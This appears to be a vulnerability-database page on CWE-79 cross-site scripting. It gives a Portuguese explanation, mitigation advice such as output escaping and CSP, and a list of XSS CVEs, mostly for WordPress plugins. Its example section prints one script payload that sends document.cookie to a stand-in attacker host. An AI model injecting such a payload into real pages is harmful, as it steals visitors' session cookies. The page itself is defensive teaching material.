Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-23624HIGHWordPress WpDevTool plugin <= 0.1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-43964MEDIUMWordPress DSGVO All in one for WP plugin <= 4.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-2561MEDIUMNinja Forms < 3.10.1 - Admin+ Stored XSSEPSS 0.3%CVE-2024-38741MEDIUMWordPress Amazing Hover Effects plugin <= 2.4.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-6493MEDIUMlukevella rallly Reset Password reset-password-form.tsx cross site scriptingEPSS 0.3%CVE-2023-45706LOWHCL BigFix Platform is susceptible to Cross Site Scripting (XSS) and/or Man in the Middle (MITM) attackEPSS 0.3%CVE-2026-47947MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2024-39629MEDIUMWordPress Himalayas theme <= 1.3.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23427HIGHWordPress Redux Converter plugin <= 1.1.3.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-37446MEDIUMWordPress Chained Quiz plugin <= 1.3.2.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-13908MEDIUMThe Tooltip <= 1.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2024-43225MEDIUMWordPress Enter Addons plugin <= 2.1.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23580HIGHWordPress BizLibrary plugin <= 1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-43344MEDIUMWordPress Icegram Engage – Ultimate WP Popup Builder, Lead Generation, Optins, and CTA plugin <= 3.1.25 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-48022MEDIUMWordPress Shortcode For Elementor Templates plugin <= 1.0.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-43151MEDIUMWordPress Ultimate Addons for Beaver Builder – Lite plugin <= 1.5.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-39661MEDIUMWordPress Kubio AI Page Builder plugin <= 2.2.4 - Authenticated Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-47383MEDIUMWordPress The Pack Elementor addons plugin 2.0.8.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-55064MEDIUMMultiple cross-site scripting (XSS) vulnerabilities in EasyVirt DC NetScope <= 8.6.4 allow remote attackers to inject arbitrary JavaScript oEPSS 0.3%CVE-2024-35774MEDIUMWordPress DImage 360 plugin <= 2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%